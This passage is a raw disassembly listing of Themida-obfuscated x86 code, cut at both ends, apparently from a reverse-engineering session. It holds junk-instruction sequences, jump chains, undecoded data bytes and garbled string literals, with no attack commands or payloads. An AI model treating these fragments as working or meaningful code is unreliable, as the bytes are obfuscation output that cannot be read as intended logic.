2AF22565h, 0D0F7080Eh, 0E907E0C1h, 6642h ; --------------------------------------------------------------------------- loc_546644: ; CODE XREF: Themida_:0054A74Cj push eax push edx mov edx, 500477B1h mov eax, 9954BF4Ah jmp loc_54B5D9 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 4EC815Ch, 89000000h, 8B5240Ch, 807EC580h, 0BFE9FFC5h dd 6400006Bh, 5EE932FFh, 5DFFFFFFh, 875BD801h, 305C2404h dd 0C0B60FC3h, 8FF1E9h, 68C22900h, 1C02h, 0B9240C89h, 5A4D4FC2h dd 86E9CA01h, 5000092h, 1C241882h, 7A1FBB53h, 19E95758h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5466AF: ; CODE XREF: Themida_:0054A32Ej mov cl, 11h sub cl, 6Ch push 109Fh mov [esp], edx mov dl, 6 or dl, 44h shr dl, 7 xor dl, 3Ch and dl, 8Eh xchg ah, dl not ah xchg ah, dl add dl, 8Fh add cl, dl pop edx add cl, dl sub cl, 82h push edx mov dh, 0F7h and dh, 0F8h and dh, 0Ah xor dh, 6Ch add cl, dh pop edx pop edx xor al, cl mov cx, [esp] add esp, 2 push ecx jmp loc_54A7C7 ; --------------------------------------------------------------------------- loc_5466FA: ; CODE XREF: Themida_:00547755j pop eax xchg edi, [esp] jmp loc_54EA6F ; --------------------------------------------------------------------------- db 81h dd 430D33EAh, 0FEC7E93Bh, 34FFFFFFh, 24048B24h, 4C481h dd 0C4830000h, 5A545204h, 4C281h, 0C2810000h, 4, 2474FF52h dd 48F5A04h, 37E95C24h, 81000040h, 962617EEh, 4FE95747h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546747: ; CODE XREF: Themida_:0055051Aj add esp, 4 push 1ABh jmp loc_54C488 ; --------------------------------------------------------------------------- db 87h dd 248B2434h, 0FC90924h, 9B3B84h, 6F126800h, 51E90000h dd 0B80000A4h, 4, 47E9C101h, 680000BBh, 4399h, 0E9242489h dd 0B6Fh, 50241C8Bh, 405E089h, 0E9000000h, 59A7h ; --------------------------------------------------------------------------- loc_546798: ; CODE XREF: Themida_:005526F0j mov eax, esp add eax, 4 jmp loc_54C41E ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 2434FF00h, 4C48358h, 8B240C87h, 4FE2424h dd 12E99C24h, 0BBFFFFFEh, 66D6435Fh, 17A4E9h, 4BB00h, 0DA010000h dd 4EA815Bh, 0E9000000h, 4808h, 4C181h, 0E4E90000h, 0E9000079h dd 0FFFFFDE5h, 81241489h, 4ECh, 24248900h, 4240481h, 5A000000h dd 4BDEE9h db 0 ; --------------------------------------------------------------------------- loc_546809: ; CODE XREF: Themida_:0054CB93j pop ecx push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5465D5 ; --------------------------------------------------------------------------- loc_546826: ; CODE XREF: Themida_:0054EE92j mov edx, 43092202h mov edi, edx pop edx push ebp mov ebp, 6C344C82h add edi, ebp mov ebp, [esp] jmp loc_548CEB ; --------------------------------------------------------------------------- dw 34FFh aS_5 db '$И}-',0 align 2 loc_546846: ; CODE XREF: Themida_:0054C4EDj mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 jmp loc_54A62E ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8904EC83h, 0CB7241Ch, 0C001C780h, 0D7F603E7h, 0A068C7FEh dd 89000015h, 26E92414h, 5E000006h, 8B240C87h, 4002424h dd 32E99C24h, 8FFFFFFDh, 0FD2BE902h, 97BFFFFFh, 0F70C3730h dd 34C781D7h, 0C1152044h, 0EF8107EFh, 8D9DCC34h, 0B4F8E9h dd 80E10000h, 0E95382C1h, 0E8h, 240C8B66h, 6DC768h, 242C8900h dd 0A64AE9h db 0 ; --------------------------------------------------------------------------- loc_5468E1: ; CODE XREF: Themida_:00547CB9j pop edi add esi, ecx jmp loc_54768E ; --------------------------------------------------------------------------- db 80h, 0EEh, 0DAh dd 0F0281B2Ch, 7F99E953h, 0C3810000h, 4, 914DE9h, 0E2895200h dd 759DE9h, 1C8B6600h, 2C48124h, 0 dd 240C8BCBh, 0E904C483h, 9B1Bh, 2D2049BDh, 0EDD14500h dd 0BEEDE9h, 0C1814900h, 0CA99C6FCh, 24348151h, 6FF5436Bh dd 6BF7815Fh, 8B6FF543h, 8956240Ch, 4576E9E6h, 0FF500000h dd 58042474h, 8B24048Fh, 0CFF2424h, 72E99C24h, 66FFFFFCh dd 8324048Bh, 0C8904ECh, 56E18924h, 0D85053BEh, 10B8E925h dd 348B0000h, 4C48124h, 81000000h, 0AD2404h, 4811222h dd 93594224h, 0BB8686Bh, 2C890000h, 592CBD24h, 6C292D31h dd 0E95D0424h, 0B668h, 8C5CBD55h, 0E929D678h, 0E9C8015Dh dd 5D33h, 0C380DFB3h, 5BD9289Ch, 0C8285866h, 0B937E9h dd 5A3A0100h, 1291E9h, 0C8B6600h, 9CE95524h, 81000008h dd 4ECh, 8CC6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5469E6: ; CODE XREF: Themida_:0054F3E6j mov [esp], edi push esi mov esi, 400h push esi push esi mov esi, 3AFE76EDh xor [esp+4], esi pop esi push dword ptr [esp] jmp loc_552473 ; --------------------------------------------------------------------------- db 68h dd 6272h, 0E9240C89h, 3630h, 5124248Bh, 884FCA68h, 3D66E937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546A1E: ; CODE XREF: Themida_:0054AFA5j mov ebp, [esp] jmp loc_54CF62 ; --------------------------------------------------------------------------- aTHsp db 'T]h▒P',0 dd 24048900h, 4B8h, 63ED8100h, 144464Bh, 6F5E9C5h, 48B0000h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 4EC835Ch dd 89242C89h, 4BE56E5h, 0E9000000h, 5C20h, 0FFFB68E9h dd 0E18951FFh, 4C181h, 0C1830000h, 240C8704h, 2404875Ch dd 825EE9h, 48B6600h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54F86B ; --------------------------------------------------------------------------- db 5Eh, 58h, 8Bh dd 7AE9241Ch, 0FE00000Bh, 0FED2F6C2h, 65CA80C2h, 0CAFECAFEh dd 0D5885166h, 6E83E9h, 24048F00h, 8924248Bh, 4BA2414h dd 1377946h, 0EE95AD3h, 0BF000018h, 3BAE0E55h, 7314EDBDh dd 5FFD2992h, 5A8CC581h, 0CD817D88h, 14C3D09h, 0A8BE581h dd 0E9505DA6h, 40D0h, 3025E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546AF2: ; CODE XREF: Themida_:005505D2j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], eax push 64DEh mov [esp], edx jmp loc_54F4B7 ; --------------------------------------------------------------------------- aQsib db 'QИI│',0 align 2 dw 0C681h dd 4, 300C68h, 24048900h, 2BD55h, 0E9550000h, 1899h, 2568BA52h dd 0F2816CE2h, 7E276D52h, 815AD601h, 0E4B63EF6h, 22C38104h dd 108245Ch, 22EB81F3h, 0FF08245Ch, 525E2434h, 43E9E289h dd 8B0000B7h, 8952242Ch, 4C281E2h, 0E9000000h, 3858h ; --------------------------------------------------------------------------- loc_546B6C: ; CODE XREF: Themida_:0054D1C9j xchg ecx, [esp] pop esp mov [esp], edx mov edx, 58F16AC7h not edx shr edx, 7 shr edx, 6 shl edx, 8 xor edx, 5F5B58FDh jmp loc_55000A ; --------------------------------------------------------------------------- dw 0CA81h dd 5CDE7027h, 31DEBB53h, 0D3F76DD2h, 4306EBC1h, 1D4CF381h dd 0F3813199h, 597E9EB1h, 0E95BDA31h, 2016h, 33243C31h dd 99E9243Ch db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BBF: ; CODE XREF: Themida_:0054A224j pop ebp push edx mov edx, 55FE0AE6h jmp loc_54D9C2 ; --------------------------------------------------------------------------- db 0BEh dd 2EA26BE0h, 348BF331h, 6630E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546BDA: ; CODE XREF: Themida_:0055260Bj not ecx jmp loc_547114 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 7EE92414h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BEF: ; CODE XREF: Themida_:0054A23Dj mov ecx, 0D52DAE88h sub [edi+20h], ecx pop ecx sub [edi+20h], esi push dword ptr [esp] mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add esp, 4 loc_546C19: ; CODE XREF: Themida_:00549C1Cj ; Themida_:0054EBB3j mov ebx, [esp] jmp loc_54BB1E ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D0010000h, 5624148Bh, 14E9E689h, 66000021h, 6824048Bh dd 7D2h, 0E9243489h, 0B57Eh, 875FFE01h, 645C2434h, 0E9028966h dd 0FFFFF981h, 0E1C1D9F7h, 8DE98102h, 0C15DFC1Ah, 895304E9h dd 4C381E3h, 81000000h, 4EBh, 47CFE900h, 89570000h, 4C781E7h dd 53000000h, 4BBh, 0FFDF2900h, 815B2434h, 4C4h, 243C8700h dd 242C895Ch, 493E9h, 24E94800h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546CA3: ; CODE XREF: Themida_:0054CF40j pop esp or edx, eax shl edx, 1 push ebp jmp loc_54BB02 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 81240C8Bh, 4C4h, 0D8285A00h, 770EE9h, 78DABE00h dd 0E6816BDDh, 47616634h, 0E0E9D6F7h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546CD7: ; CODE XREF: Themida_:00547702j xor ebp, [esp] mov esp, [esp] push edx push esi mov esi, 2C31194Ah push ecx push 65136FDh pop ecx jmp loc_54CE13 ; --------------------------------------------------------------------------- dd 23FFBA52h, 0D0012072h, 0BD68565Ah, 5E59B10Fh, 44460C05h dd 2DF02915h, 1544460Ch, 5724348Bh, 0C781E789h, 4, 4C781h dd 3C870000h, 6BFAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546D26: ; CODE XREF: Themida_:0054EFE9j mov edx, [esp] add esp, 4 and eax, ebp jmp loc_54923B ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 2C8904ECh, 53E58924h, 98E9E389h, 810000AEh dd 0A67001F5h, 4F29E912h, 0C2810000h, 4, 3304C283h, 60E92414h dd 68000007h, 2BC4h, 9F47E9h, 4C48300h, 0B6BA5250h, 5668B975h dd 0B45DE9h, 66A0BB00h, 13E91685h, 0C0000008h, 0E4C002ECh dd 449E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546D92: ; CODE XREF: Themida_:0054C0FCj xor ecx, edx jmp loc_54C715 ; --------------------------------------------------------------------------- loc_546D99: ; CODE XREF: Themida_:0054ED2Dj pop ebp xor ecx, ebx pop ebx and eax, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_54930E ; --------------------------------------------------------------------------- dd 0BD242C89h, 712A2A19h, 2C8BE901h, 4C48324h, 89CA8952h dd 0E9595AD3h, 2EB2h ; --------------------------------------------------------------------------- loc_546DCC: ; CODE XREF: Themida_:00552842j sub [edi+24h], ebp push dword ptr [esp] jmp loc_5514AC ; --------------------------------------------------------------------------- aTsY db 'TИшY',0 db 0 ; --------------------------------------------------------------------------- loc_546DDD: ; CODE XREF: Themida_:0054B7D1j push edx push dword ptr [esp+4] jmp loc_54F3AA ; --------------------------------------------------------------------------- loc_546DE7: ; CODE XREF: Themida_:0054F899j pop eax xchg ecx, [esp] mov esp, [esp] jmp loc_5465D5 ; --------------------------------------------------------------------------- db 68h dd 5290165Bh, 21E98159h, 8936CEE8h, 0DEF759CEh, 38D4E9h dd 24048700h, 24048F5Ch, 0F624248Bh, 6B36E9E1h, 0BB530000h dd 2F6F3620h, 4DE9DD89h, 6600009Bh, 6824048Bh, 6387h, 54243C89h dd 0A653E9h, 25BF2500h, 0DC2D49BEh, 9BD94D4h, 0C18158C1h dd 0C6DFEE21h, 159C801h, 2C8758C5h, 24248B24h, 1402E9h db 0 ; --------------------------------------------------------------------------- loc_546E5D: ; CODE XREF: Themida_:0055189Dj pop ecx sub esi, edi pop edi push edx mov edx, 0F7B2AE5h sub edx, 59E54A24h jmp loc_54FA98 ; --------------------------------------------------------------------------- dw 0EF01h dd offset dword_4B5248+0C0A1h db 0 ; --------------------------------------------------------------------------- loc_546E79: ; CODE XREF: Themida_:00550242j sub ebx, 0D57128EDh sub ebp, ebx pop ebx push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_54A287 ; --------------------------------------------------------------------------- db 8Fh dd 3EE94047h, 5FFFFFF7h, 31242C33h, 2C33242Ch, 0FBE95C24h dd 8B000019h, 0BBE92434h, 50000B6h, 2714409Dh, 81AFE9h dd 0E9EBB200h, 7CBAh, 0E581DDF7h, 2CE33D82h, 3339CD81h dd 0EDC17CE3h, 43ED8102h, 89FE5278h, 0F7815DEFh, 7B29774Dh dd 4703EFC1h, 8108EFC1h, 0F48620C7h, 0FAEA81FFh, 0E95C0D26h dd 9A32h, 5C240487h, 2BE56h, 0F3010000h, 241C335Eh, 1DBBE9h dd 24440100h, 4EC8104h, 0E9000000h, 0BF8h, 37DC6853h, 47E90000h dd 5000008h, 0F3E0882Dh, 0C2AC181h, 0C1014EA8h, 8ED8E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F3A: ; CODE XREF: Themida_:005507BBj xor esi, [esp] xor [esp], esi mov eax, [esp] push esi mov esi, esp push ecx mov ecx, 4EFC2176h shl ecx, 2 push edi mov edi, 5507894h push ebp mov ebp, 67442A8h dec ebp shr ebp, 3 add ebp, 2DCE3101h jmp loc_54C80F ; --------------------------------------------------------------------------- dw 5659h dd 67E95E54h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546F73: ; CODE XREF: Themida_:0054BD01j push ecx mov ecx, 7B6F3826h jmp loc_54B1A5 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4C681h, 34870000h, 1C335C24h, 241C3124h, 5C241C33h dd 240CD366h, 0F633E99Ch, 0C483FFFFh, 4C48304h, 742068h dd 0F83EE900h, 8B66FFFFh, 6856240Ch, 2CDCh, 83242489h dd 8B042404h, 0C4812434h, 4, 0B9E95351h, 5500005Ch, 6A719768h dd 2434FF24h, 4C4815Dh, 0E9000000h, 7312h, 33240431h, 0E95C2404h dd 89FCh, 31E9565Fh, 8B000060h, 0C4812404h, 4, 51FA68h dd 24048900h, 7919E9h, 0FC33000h, 48FC0B6h, 0F5B7E987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54701E: ; CODE XREF: Themida_:0054D7A0j mov [esp], edi mov edi, 74665DA3h shr edi, 1 xor edi, 40106FDDh sub ebx, edi mov edi, [esp] add esp, 4 mov edi, [esp] add esp, 4 push eax mov eax, 87F84191h xor ebx, eax pop eax and eax, ebx pop ebx or eax, eax jz loc_55119F push dword ptr [edi+28h] push dword ptr [esp] jmp loc_550462 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 2414895Ch, 0B850E289h, 30A52619h, 0E3E9E0D1h, 8B00003Ch dd 54522404h, 59E8E9h, 9AE98100h, 5A7D2102h, 5C240C87h dd 50240C89h, 0E4C06DB4h, 9158E904h, 0E1810000h, 2D167BF2h dd 0A853E9h, 242C8B00h, 551EE9h, 4EC8100h, 0E9000000h dd 838Ah, 1A34ABB0h, 25C2E9h, 0EAC15A00h, 0B098E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5470CA: ; CODE XREF: Themida_:0054AF41j push 56A9h mov [esp], ebp jmp loc_54A7AC ; --------------------------------------------------------------------------- db 0B9h dd 0E4EBA764h, 0C8BCD01h, 4C48124h, 55000000h, 55242C81h dd 0E944D610h, 2CE6h ; --------------------------------------------------------------------------- loc_5470F4: ; CODE XREF: Themida_:005511F4j sub esp, 4 mov [esp], ebp push 59BCh mov [esp], edi mov edi, 6B478F1h push 59CEh jmp loc_549522 ; --------------------------------------------------------------------------- loc_547114: ; CODE XREF: Themida_:00546BDCj xor ecx, 0B6A8A9FBh jmp loc_5514C8 ; --------------------------------------------------------------------------- aAAs db '╫═*╬aИб',0Bh,0 dd 0E932FF00h, 0FFFFF4A5h, 65E9F589h, 53000035h, 0C63926BBh dd 5B666815h, 34890000h, 0A711E924h, 0EFC00000h, 0FEDFF602h dd 5EFC0C7h, 0E950DFF6h, 228Bh, 240C8B66h, 6D7BE9h, 6800h dd 34FF0000h, 241C8B24h, 8104C483h, 4ECh, 241C8900h, 1B61E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547182: ; CODE XREF: Themida_:0054825Aj mov edx, 2 add ebp, 41426AA6h sub ebp, 3D0679DEh add ebp, edx push ebx mov ebx, 774556C7h xor ebx, 4A432F19h add ebp, 3B9E29BFh add ebp, ebx sub ebp, 3B9E29BFh pop ebx jmp loc_54A7CD ; --------------------------------------------------------------------------- db 81h, 0E1h, 30h dd 815A6969h, 0C323C5F1h, 59CA0173h, 0AEE9D301h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5471CB: ; CODE XREF: Themida_:0054E36Aj pop eax jmp loc_55048B ; --------------------------------------------------------------------------- db 5, 0BEh, 62h dd 0C3E97C0Ah, 0FE000015h, 0E9D4F6CCh, 5F13h ; --------------------------------------------------------------------------- loc_5471E4: ; CODE XREF: Themida_:0054CABCj xor ch, 0E7h add bl, 4Eh sub bl, 37h add bl, 3Bh sub bl, ch sub bl, 3Bh add bl, 37h push eax mov ah, 30h inc ah jmp loc_54FEA4 ; --------------------------------------------------------------------------- aTSci db 'аБ',7,'ИФ┴',0 align 2 dw 0D6B8h dd 0C15FD76Bh, 0BA5202E8h, 0ED19495Fh, 5D2C7F2Dh, 30B0E975h dd 0C3800000h, 0EB805851h, 88506618h, 0F6F086D8h, 88F086D6h dd 48B66C3h, 2C48324h, 56F380h, 68665BD8h, 896642B2h, 11B5240Ch dd 2963E9h, 48B6600h, 31406824h, 34890000h, 68E68924h dd 294h, 0BF243C89h, 4, 56EEC681h, 16E96B0Dh, 5400006Ah dd 5D2434FFh, 81E28952h, 4C2h, 4C28300h, 5C241487h, 257EE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547292: ; CODE XREF: Themida_:00548BE6j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 48D4h mov [esp], edi mov edi, 39862642h xor eax, edi jmp loc_54F2C4 ; --------------------------------------------------------------------------- loc_5472B6: ; CODE XREF: Themida_:0054D751j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5501DC ; --------------------------------------------------------------------------- dw 0C481h dd 4, 467568h, 24048900h, 405E089h, 5000000h, 4, 0E9240487h dd 8CDCh, 805BFD08h, 6FE9C1C5h, 81000032h, 42404h, 0E9590000h dd 4076h, 4EC8353h, 0BD242C89h, 4, 60E9EB89h, 81FFFFF3h dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 3C3304C7h, 243C3124h dd 8DBE9h, 242C8B00h, 0E904C483h, 67F4h ; --------------------------------------------------------------------------- loc_547340: ; CODE XREF: Themida_:0054E736j add edx, 29956B64h jmp loc_54F77E ; --------------------------------------------------------------------------- db 1 dd 4EC81F8h, 0E9000000h, 0AF89h ; --------------------------------------------------------------------------- loc_547358: ; CODE XREF: Themida_:0054B02Ej sub ebx, 0A1970EA3h sub edx, ebx mov ebx, [esp] add esp, 4 jmp loc_54A793 ; --------------------------------------------------------------------------- dw 8351h dd 248904ECh, 24048124h, 4, 81240C8Bh, 4C4h, 0C3BD5500h dd 555D623Ah, 5D2414F7h, 731BCD81h, 0C5815D1Eh, 5733265Dh dd 72FABA52h, 0C2814FEEh, 24170DEh, 170EA81h, 94E9A903h dd 58000052h, 63B6B951h, 0BF57690Eh, 6D6A28AAh, 34E8E981h dd 0F9014E29h, 4EC81h, 2E90000h, 810000A5h, 0D72924F3h dd 0BEBA5219h, 8144D54Fh, 207218CAh, 0F7D2F76Fh, 0ECEA81DAh dd 299BF727h, 0DD895AD3h, 0E9241C8Bh, 7EDh, 5F2F3BBEh dd 3FF6813Ch, 53C5F2Fh, 20D96EEDh, 0ED2DF001h, 5E20D96Eh dd 5C240487h, 329FB850h, 2CE96FC4h, 830000A9h, 0FF5304EBh dd 5B042474h, 5C24048Fh, 89240C89h, 46BD55E1h, 816DD101h dd 2EFEBEC5h, 5DE90192h, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 2BD242Ch, 29000000h, 2E685DE9h, 89000048h dd 74FF240Ch, 0C8B0424h, 7E31E924h, 0E9010000h, 0B3CAE9h db 0 ; --------------------------------------------------------------------------- loc_54747D: ; CODE XREF: Themida_:0054B734j sub esp, 4 jmp loc_54D64F ; --------------------------------------------------------------------------- dd 0EC83565Ah, 242C8904h, 7218BE56h, 7968353Ch, 89000010h dd 0E95D2434h, 2A13h, 7888E953h, 68660000h, 8966285Bh dd 0B1B62414h, 5A66F130h, 20B45066h, 0E5E9E128h, 31000005h dd 14332414h, 0C7815C24h, 4, 0BEE95053h, 310000AEh, 28295AD5h dd 83242C8Bh, 0EEE904C4h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5474E7: ; CODE XREF: Themida_:0054A6D0j pop edx jmp loc_54F4ED ; --------------------------------------------------------------------------- db 5Ah, 81h, 0EFh dd 7FFF30F5h, 2EEFC181h, 0F9293BC0h, 2EEFE981h, 0F6E93BC0h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547507: ; CODE XREF: Themida_:0054FF77j add edx, edi mov ecx, [edx] mov edx, [esp] push eax push esp pop eax push 0A5Dh mov [esp], edi jmp loc_548448 ; --------------------------------------------------------------------------- dw 0B068h dd 8900006Ah, 0F0882404h, 5258C588h, 0EC83EE88h, 240C8904h dd 0CB88F188h, 0BADE9h, 28BD5500h, 0C15F5938h, 75E907EDh db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54754B: ; CODE XREF: Themida_:0054907Ej pop ebp inc ebp xor ebp, 0C4DDAA62h mov edi, ebp mov ebp, [esp] add esp, 4 sub esi, edi pop edi mov ecx, esi mov esi, [esp] add esp, 4 add eax, 63111B90h jmp loc_54E876 ; --------------------------------------------------------------------------- dd 7FB368h, 242C8900h, 0E868E589h, 89000052h, 0BD55240Ch dd 4, 525DE989h, 347396BAh, 0EAC14238h, 8938E908h, 0EB810000h dd 1685669Ch, 505BD901h, 2B8h, 0DEE98100h, 13F2170h, 40DFE9C1h dd 5B5A0000h, 286EE952h, 0D9280000h, 5E1C05Bh, 5EE9D9F6h dd 66000057h, 0E93D94BBh, 44Fh, 7F1E1268h, 240C8B27h, 4C481h dd 0F1810000h, 5BAF4C7Ch, 159C829h, 6EBF57D0h, 17CD052h dd 148B5FF8h, 4C48324h, 49E9C331h, 0AD000016h, 44C5E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54760A: ; CODE XREF: Themida_:005516B4j add ebp, 4 jmp loc_5476FC ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 83242C8Bh, 0DE3104C4h, 5B2434FFh, 94E7E9h, 4B900h, 0CE010000h dd 8495E9h db 0, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_54AD20 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 0E9DF3104h, 7AF8h ; --------------------------------------------------------------------------- loc_547660: ; CODE XREF: Themida_:0054F4CEj or edx, esi pop esi add edx, 0E2180532h jmp loc_54A6D5 ; --------------------------------------------------------------------------- dw 0F781h dd 37911EA2h, 5FFA295Bh, 0DA44C281h, 0B9515B84h, 51E40B31h dd 159CB01h, 59BBE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54768E: ; CODE XREF: Themida_:005468E4j sub esi, 7DD94CB2h pop ecx pop edi push esi mov eax, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop esi push ebx jmp loc_54B92E ; --------------------------------------------------------------------------- loc_5476B4: ; CODE XREF: Themida_:00550F01j mov ecx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_54A917 ; --------------------------------------------------------------------------- dd 0E9C2015Dh, 302Dh ; --------------------------------------------------------------------------- loc_5476F4: ; CODE XREF: Themida_:0054F78Cj add ecx, edx pop edx jmp loc_54F1AF ; --------------------------------------------------------------------------- loc_5476FC: ; CODE XREF: Themida_:00547610j xor ebp, [esp] xor [esp], ebp jmp loc_546CD7 ; --------------------------------------------------------------------------- db 89h dd 0EC812414h, 4, 0E9242489h, 0A022h ; --------------------------------------------------------------------------- loc_547718: ; CODE XREF: Themida_:0054EAA7j pop esp sub bl, 0F2h sub bl, al add bl, 0F2h add bl, 0AEh movzx eax, al mov dx, [esp] push edi mov edi, esp jmp loc_547856 ; --------------------------------------------------------------------------- aMIFrqIasS5 db '╛,╗(ьfRQ╠К─ИцИе5',0 db 0 ; --------------------------------------------------------------------------- loc_547745: ; CODE XREF: Themida_:0054AEA9j push esp pop edi add edi, 4 push eax mov eax, 4 add edi, eax jmp loc_5466FA ; --------------------------------------------------------------------------- dw 5F53h dd 2434FF5Bh, 81242C8Bh, 4C4h, 74D5E900h, 0F680000h, 89000056h dd 4812424h, 424h, 24048F00h, 4BB53h, 44810000h, 15E60424h dd 5C01567Ah, 6C810424h, 15E60424h, 5CE9567Ah, 0F700004Ch dd 9BF4E9DBh, 34FF0000h, 13E95D24h, 8900009Eh, 6855241Ch dd 0AF916A5h, 958BE9h, 4CD2D00h, 9125087Ch, 0E9083874h dd 74A7h ; --------------------------------------------------------------------------- loc_5477CC: ; CODE XREF: Themida_:0054F3C8j mov [esp], ecx mov ecx, 28F72EB8h mov ebp, ecx pop ecx push edi mov edi, 3461266Ch jmp loc_54C37E ; --------------------------------------------------------------------------- dw 0BB53h dd 0FFFFFFFFh, 835BDA29h, 55E9FFC2h, 81000070h, 4ECh, 241C8900h dd 5607E9h, 8EFC100h, 0C5F6F781h, 0F909345Bh, 0B34E9h dd 48B6600h, 7D685624h, 0E9000007h, 0FD4h, 0BB241C89h dd 2, 515BD901h, 42474FFh, 235DE959h, 52AC0000h, 0B45012B2h dd 58E20839h, 4EC8150h, 89000000h, 0B050240Ch, 30EFB5EEh dd 3A52E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547856: ; CODE XREF: Themida_:0054772Ej push esi mov esi, 75C087Ah sub esi, 51252A7Bh sub esi, 0B636DDFBh add edi, esi pop esi sub edi, 4 push edi jmp loc_550B31 ; --------------------------------------------------------------------------- db 89h dd 0E952241Ch, 8ECh, 24348B50h, 0E904C483h, 4791h, 2808EFBDh dd 5EF5310Ch, 9AE9EB01h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54789B: ; CODE XREF: Themida_:00552124j push edi mov edi, 0D21072Bh sub edi, 4A2B6100h and edi, 22F5402h shl edi, 1 push esi mov esi, 66CB208Eh shr esi, 8 xor esi, 0F95E11BDh sub edi, esi jmp loc_54B06D ; --------------------------------------------------------------------------- db 0FEh, 0CAh, 0E9h dd 9F53h, 52240C89h, 5C615368h, 0E2C15A0Eh, 9C28108h, 0E927B319h dd 99DBh ; --------------------------------------------------------------------------- loc_5478E4: ; CODE XREF: Themida_:00551CCDj mov ebp, 722E0A07h add ecx, ebp pop ebp pop edi xchg ecx, [esp] mov esp, [esp] push 5845h mov [esp], ebx mov bl, dl push 5BD1h mov [esp], edx mov dl, bl mov [edi+eax*4], dl mov edx, [esp] push eax mov eax, esp push 4F1Ah mov [esp], edx push ebx mov ebx, 28852CD4h not ebx neg ebx dec ebx jmp loc_54C47B ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 89575004h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 2424895Ch, 4240481h, 8B000000h, 0C4832404h dd 40504h, 0E9510000h, 6877h, 0E9241C89h, 0FFFh, 4C481h dd 0BD550000h, 58DC14B9h, 5D6CCD81h, 0C1454315h, 0F58108EDh dd 5BDD59h, 2120E9h, 0FEFD8600h, 5E5C0C5h, 0B652DDF6h dd 18BCE933h, 0C3830000h, 241C3304h, 33241C31h, 248B241Ch dd 0EC27E924h, 0B951FFFFh, 500255F8h, 0D5E9CB89h, 5900000Dh dd 8704EF83h, 0A4E9243Ch, 3300004Fh, 34312434h, 24343324h dd 8B56E9h, 0C2815A00h, 4, 8393E956h, 0E3B70000h, 80C5CF80h dd 0E7C036C7h, 4EC8106h, 89000000h, 54F6241Ch, 0BEE90124h dd 66000061h, 83240C8Bh, 7E904ECh, 0E9000064h, 0FFFFEBC5h dd 0BEE9028Fh, 5BFFFFEBh, 0E1E3C781h, 6DE98A6Dh, 6600004Dh dd 8B66D801h, 0C483241Ch, 1911E902h, 0DEF70000h, 1C681h dd 0EE810000h, 0DA27AFAAh, 0A22BE9h, 0E9FE0100h, 0FFFFF5A8h dd 6624248Bh, 0E99CC83Bh, 0FFFFEB7Dh, 2E6881BDh, 48E2E97Ch dd 4FF0000h, 6AE99C24h, 81FFFFEBh, 4C4h, 29C58100h, 0F76B232Eh dd 4EC83DDh, 0BB241C89h, 1E4A3B46h, 9E7DE9h, 0D830AC00h dd 56AB68h, 241C8900h, 0F6D8B050h, 5E8C0D8h, 